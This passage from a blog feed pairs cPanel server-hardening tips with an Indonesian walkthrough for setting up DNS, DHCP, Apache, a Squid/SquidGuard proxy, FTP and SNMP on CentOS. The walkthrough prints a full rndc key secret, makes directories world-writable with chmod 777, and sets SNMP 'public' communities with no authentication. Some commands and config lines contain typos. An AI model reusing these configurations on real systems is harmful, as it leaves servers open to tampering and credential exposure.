4.&amp;nbsp;&lt;b&gt;&lt;span class="Apple-style-span" style="color: red;"&gt;Secure your /tmp partition&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;
&lt;b&gt;&lt;br /&gt;
&lt;/b&gt;&lt;br /&gt;
We recommend that you use a separate partition for /tmp that is mounted with nosetuid. Nosetuid will force a process to run with the privileges of it’s executor. You may also wish to mount /tmp with noexec after installing cPanel. Check the mount man page for more information.&lt;br /&gt;
Also, Running /scripts/securetmp will mount your /tmp partition to a temporary file for extra security.&lt;br /&gt;
&lt;br /&gt;
5.&amp;nbsp;&lt;b&gt;&lt;span class="Apple-style-span" style="color: red;"&gt;Upgrade your mail to maildir format&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;
&lt;b&gt;&lt;br /&gt;
&lt;/b&gt;&lt;br /&gt;
Maildir format adds extra security and speed to your mail system. Newer installs use maildir by default. If you’re running an older copy of cPanel, you’ll probably want to upgrade using /scripts/convert2maildir. Make sure to back up your current mail before converting to maildir, this can be done within /scripts/convert2maildir. If you see maildir is enabled when running /scripts/convert2maildir, you are already using maildir, and will not need to convert.&lt;br /&gt;
&lt;br /&gt;
6.&lt;b&gt;&amp;nbsp;&lt;span class="Apple-style-span" style="color: red;"&gt;Lock down your system’s compilers&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;
&lt;b&gt;&lt;br /&gt;
&lt;/b&gt;&lt;br /&gt;
Most users do not require the use of C and C++ compilers. You can use the Compilers Tweak within Tweak Security in WebHost Manager to turn off use of the compilers for all unprivileged users, or to disable them for specific users only. Many pre-packaged exploits require working compilers. Disabling compilers will help protect against many exploits.&lt;br /&gt;
&lt;br /&gt;
7.&amp;nbsp;&lt;b&gt;&lt;span class="Apple-style-span" style="color: red;"&gt;Turn off unused services and daemons&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;
&lt;b&gt;&lt;br /&gt;
&lt;/b&gt;&lt;br /&gt;
Any service or daemon that allows a connection to be established to your server is away for hackers to gain access. To reduce security risks, you should disable all services and daemons that are not being used.&lt;br /&gt;
For Daemons on Linux:&lt;br /&gt;
Check /etc/xinetd.conf for services you are not using. For example, cupsd (printing daemon) and nfs/statd (network file system daemons) are not used on many systems.&lt;br /&gt;
For Services:&lt;br /&gt;
Go to the Service Manager in the Service Configuration section of WHM and disable any services that you are not using.&lt;br /&gt;
&lt;br /&gt;
8.&amp;nbsp;&lt;b&gt;&lt;span class="Apple-style-span" style="color: red;"&gt;Monitor your system&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;
&lt;b&gt;&lt;br /&gt;
&lt;/b&gt;&lt;br /&gt;
It is important to be up to date on what is going on with your system. Make sure that you know when accounts are being created, what software is being installed, when software needs updates, etc.&lt;br /&gt;
Check your system frequently to ensure it is functioning in the way you expect. Make sure to check things like:&lt;br /&gt;
netstat -anp : Look for programs attached to ports that you did not install / authorize&lt;br /&gt;
find / ( -perm -a+w ) ! -type l &amp;gt;&amp;gt; world_writable.txt : Look at world_writable.txt to see all world writable files and directories. This will reveal locations where an attacker can store files on your system. NOTE: Fixing permissions on some PHP/CGI scripts that are not properly coded will break them.&lt;br /&gt;
find / -nouser -o -nogroup &amp;gt;&amp;gt; no_owner.txt : Look at no_owner for all files that do not have a user or group associated with them. All files should be owned by a specific user or group to restrict access to them.&lt;br /&gt;
ls /var/log/: There are many different logs on your system which can be valuable resources. Check your system logs, apache logs, mail logs, and other logs frequently to make sure your system is functioning as expected.&lt;br /&gt;
There are many readily available utilities to monitor your system and to detect rootkits, backdoors, etc. Here are some commonly available utilities:&lt;br /&gt;
&lt;br /&gt;
Tripwire – Monitors checksums of files and reports changes.&lt;br /&gt;
http://tripwire.com or http://sourceforge.net/projects/tripwire&lt;br /&gt;
Chrookit – Scans for common rootkits, backdoors, etc.&lt;br /&gt;
http://www.chkrootkit.org&lt;br /&gt;
Rkhunter – Scans for common rootkits, backdoors, etc.&lt;br /&gt;
http://www.rootkit.nl/projects/rootkit_hunter.html&lt;br /&gt;
Logwatch – Monitors and reports on daily system activity.&lt;br /&gt;
http://logwatch.org&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
9.&amp;nbsp;&lt;b&gt;&lt;span class="Apple-style-span" style="color: red;"&gt;Enable a Firewall&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;
&lt;b&gt;&lt;br /&gt;
&lt;/b&gt;&lt;br /&gt;
Installing a firewall to limit access to your server is useful. Removing all unused software on your system is more useful. Before you have the chance to remove all unused services and daemons, or the chance to figure out which services / daemons are unused, you can enable a firewall to prevent unwanted access.&lt;br /&gt;
The following will show the ports cPanel and WHM need open to function properly and what the port is used for:&lt;br /&gt;
http://faq.cpanel.net/show.cgi?qa=104689180407630&lt;br /&gt;
If you are using APF, see:&lt;br /&gt;
http://faq.cpanel.net/show.cgi?qa=108499296901804&lt;br /&gt;
Please note that these ports are for all services that can be used by cPanel and WHM, you may or may not be using all of these services or other services and should adjust your rules accordingly.&lt;br /&gt;
Remember to set a cron job to disable your firewall every 5 minutes when testing your rules, or you may be locked out of your server.&lt;br /&gt;
&lt;br /&gt;
10.&amp;nbsp;&lt;b&gt;&lt;span class="Apple-style-span" style="color: red;"&gt;Stay up to date&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;
&lt;b&gt;&lt;br /&gt;
&lt;/b&gt;&lt;br /&gt;
It is important to make sure that you are running the latest stable versions of the software on your system to ensure that it has been patched of any security issues that past versions may be susceptible to. Make sure to keep on top of updates for:&lt;br /&gt;
Kernel&lt;br /&gt;
cPanel and WHM*&lt;br /&gt;
User Applications (bulletin boards, CMS, blog engines, etc)**&lt;br /&gt;
System Software*&lt;br /&gt;
*These can be set to automatically update in WebHost Manager under Update Config in the Server Configuration section.&lt;br /&gt;
**You can upgrade all cPAddon installations through Manage cPAddons in the cPanel section of WebHost Manager</description><link>http://black-mygo.blogspot.com/2011/01/10-tips-for-tune-and-secure-your-cpanel.html</link><author>noreply@blogger.com (Blackmygo)</author><thr:total>2</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-6874249505225083857.post-3710567458726229735</guid><pubDate>Wed, 19 Jan 2011 03:27:00 +0000</pubDate><atom:updated>2011-01-20T02:55:05.932-08:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">Internet Security</category><category domain="http://www.blogger.com/atom/ns#">Website Security</category><title>Installing DNS,DHCP,Webserver,Proxy,FTP,DDOS protection,IDS</title><description>&lt;b&gt;&lt;span class="Apple-style-span" style="color: red;"&gt;Install DNS,DHCP,Webserver,Proxy,FTP,DDOS protection,IDS&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;pre class="Xml" name="code"&gt;[root@ns1 gtoms]# uname -a
Linux ns1.xyz.co.id 2.6.18-194.11.1.el5 #1 SMP Tue Aug 10 19:09:06 EDT 2010 i686 i686 i386 GNU/Linux

[root@ns1 gtoms]# cat /etc/redhat-release
CentOS release 5.5 (Final)

[root@ns1 gtoms]# /sbin/ifconfig
eth0 Link encap:Ethernet HWaddr 00:50:BA:C3:71:D2
inet addr:202.137.2x.2xx Bcast:202.137.20.223 Mask:255.255.255.240
inet6 addr: fe80::250:baff:fec3:71d2/64 Scope:Link
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:1028 errors:0 dropped:0 overruns:0 frame:0
TX packets:757 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:93229 (91.0 KiB) TX bytes:143908 (140.5 KiB)
Interrupt:209 Base address:0×2000

eth1 Link encap:Ethernet HWaddr 00:13:D4:01:65:1F
inet addr:192.168.0.2 Bcast:192.168.0.255 Mask:255.255.255.0
UP BROADCAST MULTICAST MTU:1500 Metric:1
RX packets:0 errors:0 dropped:0 overruns:0 frame:0
TX packets:0 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:0 (0.0 b) TX bytes:0 (0.0 b)

lo Link encap:Local Loopback
inet addr:127.0.0.1 Mask:255.0.0.0
inet6 addr: ::1/128 Scope:Host
UP LOOPBACK RUNNING MTU:16436 Metric:1
RX packets:1124 errors:0 dropped:0 overruns:0 frame:0
TX packets:1124 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:0
RX bytes:1981916 (1.8 MiB) TX bytes:1981916 (1.8 MiB)&lt;/pre&gt;&lt;br /&gt;
&lt;b&gt;&lt;span class="Apple-style-span" style="color: red;"&gt;Instalasi Domain Name Server sebagai Primary Nameserver&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;pre class="Xml" name="code"&gt;[root@ns1 selinux]# yum install bind-chroot
Loaded plugins: fastestmirror
Loading mirror speeds from cached hostfile
addons: centos.idrepo.or.id
base: centos.idrepo.or.id
extras: centos.idrepo.or.id
updates: centos.idrepo.or.id
Setting up Install Process
Package 30:bind-chroot-9.3.6-4.P1.el5_4.2.i386 already installed and latest version
Nothing to do
[root@ns1 gtoms]#

[root@ns1 gtoms]# chmod 755 /var/named/
[root@ns1 gtoms]# chmod 775 /var/named/chroot/
[root@ns1 gtoms]# chmod 775 /var/named/chroot/var/
[root@ns1 gtoms]# chmod 775 /var/named/chroot/var/named/
[root@ns1 gtoms]# chmod 775 /var/named/chroot/var/run/
[root@ns1 gtoms]# chmod 777 /var/named/chroot/var/run/named/
[root@ns1 gtoms]# cd /var/named/chroot/var/named/
[root@ns1 named]# ln -s ../../ chroot
[root@ns1 named] cp /usr/share/doc/bind-9.3.6/sample/var/named/named.local /var/named/chroot/var/named/named.local
[root@ns1 named] cp /usr/share/doc/bind-9.3.6/sample/var/named/named.root /var/named/chroot/var/named/named.root
[root@ns1 named] touch /var/named/chroot/etc/named.conf.local

[root@ns1 named]# nano /var/named/chroot/etc/named.conf
key “rndckey” {
algorithm hmac-md5;
secret “PatIBVa6D1zrSKnEOBsO4siZyJO0cytbujld1boBT7W8RrVee5dsCkGSID79”;
};

options {
listen-on port 53 { 127.0.0.1; 192.168.0.2; 202.137.2x.2xx; };
listen-on-v6 port 53 { ::1; };
directory “/var/named/chroot/var/named”;
dump-file “/var/named/chroot/var/named/data/cache_dump.db”;
statistics-file “/var/named/chroot/var/named/data/named_stats.txt”;
memstatistics-file “/var/named/chroot/var/named/data/named_mem_stats.txt”;
allow-query { localhost; };
recursion yes;
};
logging {
channel default_debug {
file “data/named.run”;
severity dynamic;
};
};

zone “.” IN {
type hint;
file “named.root”;
};

zone “xyz.co.id” IN {
type om;
file “data/xyz.co.id.zone”;
allow-update { none; };
};

[root@ns1 named]# nano /var/named/chroot/var/named/data/xyz.co.id

$ORIGIN .
$TTL 86400 ; 1 day

xyz.co.id IN SOA ns1.xyz.co.id. admin.xyz.co.id. (
2010082100
7200
7200
1209600
86400 )
NS ns1.xyz.co.id.
NS ns2.xyz.co.id.
A 202.137.2x.2xx
MX 10 mail.xyz.co.id.

$ORIGIN xyz.co.id.

webmail A 202.137.2x.2zz
ns1 A 202.137.2x.2xx
ns2 A 202.137.2x.2yy
mail A 202.137.2x.2zz
www A 202.137.2x.2xx
mail2 A 202.137.2x.2yy
xyz.co.id. IN TXT “PT. xyz”
IP 202.137.2x.2zz dengan mail.xyz.co.id merupakan server mailserver menggunakan Zimbra 6.0.6 berada beda mesin dengan server ini.

[root@ns1 named]# /etc/init.d/named start
Starting named: [ OK ]

[root@ns1 etc]# tail -f /var/log/messages
Aug 21 11:31:35 ns1 named[3766]: starting BIND 9.3.6-P1-RedHat-9.3.6-4.P1.el5_4.2 -u named -t /var/named/chroot
Aug 21 11:31:35 ns1 named[3766]: adjusted limit on open files from 1024 to 1048576
Aug 21 11:31:35 ns1 named[3766]: found 2 CPUs, using 2 worker threads
Aug 21 11:31:35 ns1 named[3766]: using up to 4096 sockets
Aug 21 11:31:35 ns1 named[3766]: loading configuration from ‘/etc/named.conf’
Aug 21 11:31:35 ns1 named[3766]: using default UDP/IPv4 port range: [1024, 65535]
Aug 21 11:31:35 ns1 named[3766]: using default UDP/IPv6 port range: [1024, 65535]
Aug 21 11:31:35 ns1 named[3766]: listening on IPv6 interface lo, ::1#53
Aug 21 11:31:35 ns1 named[3766]: listening on IPv4 interface lo, 127.0.0.1#53
Aug 21 11:31:35 ns1 named[3766]: listening on IPv4 interface eth1, 192.168.0.2#53
Aug 21 11:31:35 ns1 named[3766]: listening on IPv4 interface eth0, 202.137.2x.2xx#53
Aug 21 11:31:35 ns1 named[3766]: command channel listening on 127.0.0.1#953
Aug 21 11:31:35 ns1 named[3766]: command channel listening on ::1#953
Aug 21 11:31:35 ns1 named[3766]: zone xyz.co.id/IN: loaded serial 2010082100
Aug 21 11:31:35 ns1 named[3766]: running
Aug 21 11:31:35 ns1 named[3766]: zone xyz.co.id/IN: sending notifies (serial 2010082100)&lt;/pre&gt;&lt;br /&gt;
&lt;b&gt;&lt;span class="Apple-style-span" style="color: red;"&gt;Instalasi DHCP Server&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;pre class="Xml" name="code"&gt;[root@ns1 data]# yum install dhcp
Loaded plugins: fastestmirror
Loading mirror speeds from cached hostfile
addons: centos.idrepo.or.id
base: centos.idrepo.or.id
extras: centos.idrepo.or.id
updates: centos.idrepo.or.id
Setting up Install Process
Resolving Dependencies—&amp;gt; Running transaction check—-&amp;gt; Package dhcp.i386 12:3.0.5-23.el5_5.1 set to be updated—&amp;gt; Finished Dependency Resolution
——————————————cut————————————————————-

Total download size: 867 k
Is this ok [y/N]: y
Downloading Packages:
dhcp-3.0.5-23.el5_5.1.i386.rpm | 867 kB 00:00
Running rpm_check_debug
Running Transaction Test
Finished Transaction Test
Transaction Test Succeeded
Running Transaction
Installing : dhcp 1/1

Installed:
dhcp.i386 12:3.0.5-23.el5_5.1

Complete!
[root@ns1 data]#

[root@ns1 data]# nano /etc/dhcpd.conf

authoritative;
ddns-update-style interim;
ignore client-updates;

subnet 192.168.0.0 netmask 255.255.255.0 {
option routers 192.168.0.2;
option subnet-mask 255.255.255.0;
option domain-name “xyz.co.id”;
option domain-name-servers 192.168.0.2,202.137.2x.2xx;
range dynamic-bootp 192.168.0.9 192.168.0.254;
default-lease-time 43200;
max-lease-time 604800;

}

Range IP untuk seluruh komputer karyawan 192.168.0.9 192.168.0.254

[root@ns1 data]# /etc/init.d/dhcpd start
Starting dhcpd: [ OK ]

[root@ns1 data]# tail -f /var/log/messages
Aug 21 11:44:36 ns1 dhcpd: Internet Systems Consortium DHCP Server V3.0.5-RedHat
Aug 21 11:44:36 ns1 dhcpd: Copyright 2004-2006 Internet Systems Consortium.
Aug 21 11:44:36 ns1 dhcpd: All rights reserved.
Aug 21 11:44:36 ns1 dhcpd: For info, please visit http://www.isc.org/sw/dhcp/
Aug 21 11:44:36 ns1 dhcpd: Wrote 0 leases to leases file.
Aug 21 11:44:36 ns1 dhcpd:
Aug 21 11:44:36 ns1 dhcpd: No subnet declaration for eth0 (202.137.2x.2xx).
Aug 21 11:44:36 ns1 dhcpd: ** Ignoring requests on eth0. If this is not what
Aug 21 11:44:36 ns1 dhcpd: you want, please write a subnet declaration
Aug 21 11:44:36 ns1 dhcpd: in your dhcpd.conf file for the network segment
Aug 21 11:44:36 ns1 dhcpd: to which interface eth0 is attached. **
Aug 21 11:44:36 ns1 dhcpd:
Aug 21 11:44:36 ns1 dhcpd: Listening on LPF/eth1/00:13:d4:01:65:1f/192.168.0/24
Aug 21 11:44:36 ns1 dhcpd: Sending on LPF/eth1/00:13:d4:01:65:1f/192.168.0/24
Aug 21 11:44:36 ns1 dhcpd: Sending on Socket/fallback/fallback-net

3766 ? Ssl 0:00 /usr/sbin/named -u named -t /var/named/chroot
3928 ? Ss 0:00 /usr/sbin/dhcpd
[root@ns1 gtoms]#&lt;/pre&gt;&lt;br /&gt;
&lt;b&gt;&lt;span class="Apple-style-span" style="color: red;"&gt;Instalasi Webserver menggunakan Apache&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;pre class="Xml" name="code"&gt;[root@ns1 gtoms]# yum install httpd httpd-devel mysql-server php php-mysql php-mbstring php-mcrypt

[root@ns1 gtoms]# nano /etc/httpd/conf/httpd.conf

Listen 202.137.2x.2xx:80

NameVirtualHost *:80


ServerAdmin webmaster@xyz.co.id
DocumentRoot /home/webxyz
ServerName xyz.co.id
ServerAlias http://www.xyz.co.id


ServerAdmin webmaster@xyz.co.id
DocumentRoot /var/www/html/stat
ServerName xyz.co.id/stat
ServerAlias http://www.xyz.co.id/stat


Options Indexes FollowSymLinks MultiViews
AllowOverride All
Order allow,deny
Allow from all&lt;/pre&gt;&lt;br /&gt;
&lt;b&gt;&lt;span class="Apple-style-span" style="color: red;"&gt;Instalasi SQUID sebagai cache proxy server &lt;/span&gt;&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;pre class="Xml" name="code"&gt;[root@ns1 gtoms]# yum install squid
[root@ns1 gtoms]# cd /etc/squid

[root@ns1 squid] nano squid.conf

[root@ns1 squid]# /usr/sbin/squid -z&lt;/pre&gt;&lt;br /&gt;
&lt;b&gt;&lt;span class="Apple-style-span" style="color: red;"&gt;Instalasi SQUIDGUARD sebagai content filtering.&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;pre class="Xml" name="code"&gt;[root@ns1 gtoms]# wget &lt;a href="http://www.excaliburtech.net/wp-content/uploads/2009/02/squidguard-1.4-3.i386.rpm%E2%80%942010-08-21"&gt;http://www.excaliburtech.net/wp-content/...2010-08-21&lt;/a&gt; 18:49:02—http://www.excaliburtech.net/wp-content/uploads/2009/02/squidguard-1.4-3.i386.rpm
Resolving &lt;a href="http://www.excaliburtech.net/"&gt;http://www.excaliburtech.net&lt;/a&gt;… 72.66.114.15
Connecting to &lt;a href="http://www.excaliburtech.net%7C72.66.114.15/"&gt;http://www.excaliburtech.net|72.66.114.15&lt;/a&gt;|:80… connected.
HTTP request sent, awaiting response… 200 OK
Length: 119416 (117K) [application/x-rpm]
Saving to: `squidguard-1.4-3.i386.rpm’
2010-08-21 18:49:05 (54.0 KB/s) – `squidguard-1.4-3.i386.rpm’ saved [119416/119416]

[root@ns1 gtoms]# rpm ivh squidguard1.4-3.i386.rpm
Preparing… ########################################### [100%]
1:squidguard ########################################### [100%]

[root@ns1 gtoms]# locate squidguard
/etc/logrotate.d/squidguard
/etc/squid/squidguard.conf
/home/gtoms/squidguard-1.4-3.i386.rpm
/usr/bin/squidguard
/usr/libexec/webmin/blue-theme/squidguard
/usr/libexec/webmin/blue-theme/squidguard/images
/usr/libexec/webmin/blue-theme/squidguard/images/icon.gif
/usr/share/doc/squidguard-1.4
/usr/share/doc/squidguard-1.4/LDAPFlow.txt
/usr/share/doc/squidguard-1.4/authentication.html
/usr/share/doc/squidguard-1.4/authentication.txt
/usr/share/doc/squidguard-1.4/configuration.html
/usr/share/doc/squidguard-1.4/configuration.txt
/usr/share/doc/squidguard-1.4/configure.html
/usr/share/doc/squidguard-1.4/configure.txt
/usr/share/doc/squidguard-1.4/expressionlist.html
/usr/share/doc/squidguard-1.4/expressionlist.txt
/usr/share/doc/squidguard-1.4/extended.html
/usr/share/doc/squidguard-1.4/extended.txt
/usr/share/doc/squidguard-1.4/faq.html
/usr/share/doc/squidguard-1.4/faq.txt
/usr/share/doc/squidguard-1.4/features.html
/usr/share/doc/squidguard-1.4/features.txt
/usr/share/doc/squidguard-1.4/index.html
/usr/share/doc/squidguard-1.4/install.html
/usr/share/doc/squidguard-1.4/install.txt
/usr/share/doc/squidguard-1.4/installation.html
/usr/share/doc/squidguard-1.4/installation.txt
/usr/share/doc/squidguard-1.4/ldap-ad-tips.html
/usr/share/doc/squidguard-1.4/ldap-ad-tips.txt
/usr/share/doc/squidguard-1.4/ldap.html
/usr/share/doc/squidguard-1.4/ldap.txt
/usr/share/doc/squidguard-1.4/runtimeops.html
/usr/share/doc/squidguard-1.4/runtimeops.txt
/usr/share/doc/squidguard-1.4/sample.conf
/usr/share/doc/squidguard-1.4/squidguard-simple.cgi
/usr/share/doc/squidguard-1.4/squidguard.cgi
/usr/share/doc/squidguard-1.4/squidguard.gif
/usr/share/doc/squidguard-1.4/troubleshoot.html
/usr/share/doc/squidguard-1.4/troubleshoot.txt&lt;/pre&gt;&lt;br /&gt;
&lt;b&gt;&lt;span class="Apple-style-span" style="color: red;"&gt;Sebelum mengkonfigurasi squidguard.conf install dahulu Shalla’s Blacklists&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;pre class="Xml" name="code"&gt;[root@ns1 gtoms]# wget &lt;a href="http://www.shallalist.de/Downloads/shallalist.tar.gz%E2%80%942010-08-21"&gt;http://www.shallalist.de/Downloads/shallalist.tar.gz%E2%80%942010-08-21&lt;/a&gt; 19:02:00—http://www.shallalist.de/Downloads/shallalist.tar.gz
Resolving &lt;a href="http://www.shallalist.de/"&gt;http://www.shallalist.de&lt;/a&gt;… 78.47.242.85
Connecting to &lt;a href="http://www.shallalist.de%7C78.47.242.85/"&gt;http://www.shallalist.de|78.47.242.85&lt;/a&gt;|:80… connected.
HTTP request sent, awaiting response… 200 OK
Length: 9670277 (9.2M) [application/x-tar]
Saving to: `shallalist.tar.gz’

11% [============&amp;gt; ] 1,126,182 119K/s eta 80s

[root@ns1 gtoms]# mkdir /var/lib/squidguard/db

[root@ns1 gtoms]# mv shallalist.tar.gz /var/lib/squidguard/db

[root@ns1 gtoms]# cd /var/lib/squidguard/db

[root@ns1 db]# gzip -d shallalist.tar.gz

[root@ns1 db]# tar xfv shallalist.tar
BL/
BL/porn/
BL/porn/domains
BL/porn/urls
BL/gamble/
BL/gamble/domains
BL/gamble/urls
BL/chat/
BL/chat/domains
BL/chat/urls
BL/automobile/
BL/automobile/cars/
BL/automobile/cars/domains
BL/automobile/cars/urls
BL/automobile/bikes/
BL/automobile/bikes/domains
BL/automobile/bikes/urls
BL/automobile/boats/
BL/automobile/boats/domains
BL/automobile/boats/urls
BL/automobile/planes/
BL/automobile/planes/urls
BL/automobile/planes/domains
BL/recreation/
BL/recreation/humor/
BL/recreation/humor/domains
BL/recreation/humor/urls
BL/recreation/martialarts/
BL/recreation/martialarts/urls
BL/recreation/martialarts/domains
BL/recreation/sports/
BL/recreation/sports/domains
BL/recreation/sports/urls
BL/recreation/travel/
BL/recreation/travel/urls
BL/recreation/travel/domains
BL/recreation/wellness/
BL/recreation/wellness/domains
BL/recreation/wellness/urls
BL/recreation/restaurants/
BL/recreation/restaurants/urls
BL/recreation/restaurants/domains
BL/webradio/
BL/webradio/domains
BL/webradio/urls
BL/webmail/
BL/webmail/domains
BL/webmail/urls
BL/warez/
BL/warez/urls
BL/warez/domains
BL/shopping/
BL/shopping/domains
BL/shopping/urls
BL/adv/
BL/adv/domains
BL/adv/urls
BL/movies/
BL/movies/urls
BL/movies/domains
BL/science/
BL/science/chemistry/
BL/science/chemistry/urls
BL/science/chemistry/domains
BL/science/astronomy/
BL/science/astronomy/domains
BL/science/astronomy/urls
BL/hobby/
BL/hobby/pets/
BL/hobby/pets/domains
BL/hobby/pets/urls
BL/hobby/cooking/
BL/hobby/cooking/domains
BL/hobby/cooking/urls
BL/hobby/gardening/
BL/hobby/gardening/urls
BL/hobby/gardening/domains
BL/hobby/games-online/
BL/hobby/games-online/domains
BL/hobby/games-online/urls
BL/hobby/games-misc/
BL/hobby/games-misc/domains
BL/hobby/games-misc/urls
BL/violence/
BL/violence/domains
BL/violence/urls
BL/music/
BL/music/domains
BL/music/urls
BL/hacking/
BL/hacking/domains
BL/hacking/urls
BL/isp/
BL/isp/urls
BL/isp/domains
BL/drugs/
BL/drugs/domains
BL/drugs/urls
BL/aggressive/
BL/aggressive/domains
BL/aggressive/urls
BL/news/
BL/news/urls
BL/news/domains
BL/redirector/
BL/redirector/urls
BL/redirector/domains
BL/spyware/
BL/spyware/domains
BL/spyware/urls
BL/dating/
BL/dating/urls
BL/dating/domains
BL/finance/
BL/finance/banking/
BL/finance/banking/urls
BL/finance/banking/domains
BL/finance/other/
BL/finance/other/domains
BL/finance/other/urls
BL/finance/moneylending/
BL/finance/moneylending/domains
BL/finance/moneylending/urls
BL/finance/insurance/
BL/finance/insurance/urls
BL/finance/insurance/domains
BL/finance/realestate/
BL/finance/realestate/domains
BL/finance/realestate/urls
BL/finance/trading/
BL/finance/trading/domains
BL/finance/trading/urls
BL/dynamic/
BL/dynamic/urls
BL/dynamic/domains
BL/COPYRIGHT
BL/jobsearch/
BL/jobsearch/urls
BL/jobsearch/domains
BL/tracker/
BL/tracker/domains
BL/tracker/urls
BL/models/
BL/models/domains
BL/models/urls
BL/forum/
BL/forum/domains
BL/forum/urls
BL/webtv/
BL/webtv/urls
BL/webtv/domains
BL/downloads/
BL/downloads/urls
BL/downloads/domains
BL/ringtones/
BL/ringtones/domains
BL/ringtones/urls
BL/searchengines/
BL/searchengines/domains
BL/searchengines/urls
BL/socialnet/
BL/socialnet/urls
BL/socialnet/domains
BL/updatesites/
BL/updatesites/domains
BL/updatesites/urls
BL/weapons/
BL/weapons/domains
BL/weapons/urls
BL/webphone/
BL/webphone/domains
BL/webphone/urls
BL/global_usage
BL/religion/
BL/religion/domains
BL/religion/urls
BL/sex/
BL/sex/lingerie/
BL/sex/lingerie/urls
BL/sex/lingerie/domains
BL/sex/education/
BL/sex/education/urls
BL/sex/education/domains
BL/imagehosting/
BL/imagehosting/domains
BL/imagehosting/urls
BL/podcasts/
BL/podcasts/domains
BL/podcasts/urls
BL/hospitals/
BL/hospitals/domains
BL/hospitals/urls
BL/military/
BL/military/urls
BL/military/domains
BL/politics/
BL/politics/domains
BL/politics/urls
BL/remotecontrol/
BL/remotecontrol/urls
BL/remotecontrol/domains
BL/fortunetelling/
BL/fortunetelling/domains
BL/fortunetelling/urls
BL/library/
BL/library/domains
BL/library/urls
BL/costtraps/
BL/costtraps/urls
BL/costtraps/domains
BL/homestyle/
BL/homestyle/domains
BL/homestyle/urls
BL/education/
BL/education/schools/
BL/education/schools/domains
BL/education/schools/urls
BL/government/
BL/government/domains
BL/government/urls
BL/alcohol/
BL/alcohol/domains
BL/alcohol/urls
BL/radiotv/
BL/radiotv/domains
BL/radiotv/urls
[root@ns1 db]#

[root@ns1 db]# cd BL

[root@ns1 BL] cp -R * /var/lib/squidguard/db

[root@ns1 BL]# nano /etc/squid/squidguard.conf

dbhome /var/lib/squidguard/db
logdir /var/log/squid


dest whitelist {
domainlist whitelist/domains
urllist whitelist/urls
}

dest adv {
domainlist adv/domains
urllist adv/urls
}

acl {
default {

pass whitelist !adv

redirect &lt;a href="http://www.xyz.co.id/redirect.html"&gt;http://www.xyz.co.id/redirect.html&lt;/a&gt;
}

}


[root@ns1 BL]# /usr/bin/squidguard -C all

[root@ns1 db]# chmod -R 777 *

[root@ns1 db]# chown -R squid:squid /var/lib/squidguard/db/*

[root@ns1 squid]# nano /etc/squid/squid.conf

url_rewrite_program /usr/bin/squidguard -c /etc/squid/squidguard.conf
url_rewrite_children 8

[root@ns1 squid]# /usr/sbin/squid -k reconfigure

[root@ns1 db]# tail -f /var/log/squid/cache.log

2010/08/22 08:52:43| Reconfiguring Squid Cache (version 2.6.STABLE21)...
2010/08/22 08:52:43| FD 10 Closing HTTP connection
2010/08/22 08:52:43| FD 12 Closing ICP connection
2010/08/22 08:52:43| Initialising SSL.
2010/08/22 08:52:43| User-Agent logging is disabled.
2010/08/22 08:52:43| Referer logging is disabled.
2010/08/22 08:52:43| DNS Socket created at 0.0.0.0, port 52827, FD 9
2010/08/22 08:52:43| Adding nameserver 202.137.2x.2xx from squid.conf
2010/08/22 08:52:43| helperOpenServers: Starting 8 ‘squidguard’ processes
2010/08/22 08:52:43| Accepting transparently proxied HTTP connections at 0.0.0.0, port 3128, FD 19.
2010/08/22 08:52:43| Accepting ICP messages at 0.0.0.0, port 3130, FD 20.
2010/08/22 08:52:43| WCCP Disabled.
2010/08/22 08:52:43| Loaded Icons.
2010/08/22 08:52:43| Ready to serve requests.&lt;/pre&gt;&lt;br /&gt;
&lt;b&gt;&lt;span class="Apple-style-span" style="color: red;"&gt;Instalasi FTP Server menggunakan VSFTP&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;pre class="Xml" name="code"&gt;[root@ns1 gtoms]# yum install vsftpd

Disini tinggal mengkonfigurasi user untuk akses ke webserver.&lt;/pre&gt;&lt;br /&gt;
&lt;b&gt;&lt;span class="Apple-style-span" style="color: red;"&gt;Instalasi MRTG&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;pre class="Xml" name="code"&gt;[root@ns1 gtoms]# yum install mrtg net-snmp net-snmp-utils
Loaded plugins: fastestmirror
Loading mirror speeds from cached hostfile
addons: centos.idrepo.or.id
base: centos.idrepo.or.id
epel: bali.idrepo.or.id
extras: centos.idrepo.or.id
updates: centos.idrepo.or.id
addons | 951 B 00:00
base | 2.1 kB 00:00
epel | 3.4 kB 00:00
extras | 2.1 kB 00:00
updates | 1.9 kB 00:00
Setting up Install Process
Package 1:net-snmp-5.3.2.2-9.el5_5.1.i386 already installed and latest version————————cut—————————————-

Installed:
mrtg.i386 0:2.14.5-2 net-snmp-utils.i386 1:5.3.2.2-9.el5_5.1

Complete!
[root@ns1 gtoms]#

[root@ns1 gtoms]# nano /etc/snmp/snmpd.conf

com2sec local localhost public
com2sec mynetwork 192.168.0.0/24 public
group MyRWGroup v1 local
group MyRWGroup v2c local
group MyRWGroup usm local
group MyROGroup v1 mynetwork
group MyROGroup v2c mynetwork
group MyROGroup usm mynetwork
view all included .1 80
access MyROGroup “” any noauth exact all none none
access MyRWGroup “” any noauth exact all all none
